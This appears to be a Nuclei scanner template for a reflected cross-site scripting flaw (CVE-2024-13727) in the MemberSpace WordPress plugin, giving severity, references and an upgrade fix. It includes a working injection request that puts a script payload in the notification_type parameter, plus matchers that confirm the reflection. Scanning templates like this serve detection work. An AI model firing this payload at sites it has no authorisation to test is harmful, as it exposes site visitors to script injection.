id: CVE-2024-13727

info:
  name: MemberSpace WordPress - Cross-Site Scripting
  author: Sourabh-Sahu
  severity: medium
  description: |
    MemberSpace WordPress plugin < 2.1.14 contains a reflected XSS caused by unsanitized and unescaped parameter output, letting unauthenticated attackers execute scripts, exploit requires no authentication.
  impact: |
    Unauthenticated attackers can execute scripts in users' browsers, potentially stealing data or performing actions on their behalf.
  remediation: |
    Upgrade to version 2.1.14 or later.
  reference:
    - https://wpscan.com/vulnerability/598d20f2-0f42-48f2-a941-0d6c5da5303e/
    - https://nvd.nist.gov/vuln/detail/CVE-2024-13727
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2024-13727
    cwe-id: CWE-79
    epss-score: 0.00559
    epss-percentile: 0.43394
    cpe: cpe:2.3:a:memberspace:memberspace:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
  tags: cve,cve2024,memberspace,memberspace,unauth,xss,wordpress,wp,wp-plugin

http:
  - raw:
      - |
        GET /wp-content/plugins/memberspace/admin/partials/notification-bar.php?notification_type=1%22%3E%3C/script%3E%3Cscript%3Ealert(document.domain)%3C/script%3E%3Cscript%3E HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "text/html")'
          - 'contains_all(body, "></script><script>alert(document.domain)</script><script>","is-dismissible")'
        condition: and
# digest: 4a0a004730450221009ea95e46e1dbd15ba09a87f2dd8ba70e2c4c9d07fcf25a6239e1e3cf862de949022051b23c2826b6d4121febc7a94496f73164c5567ec4a880ab64319dbafbdf4b0c:922c64590222798bb761d5b6d8e72950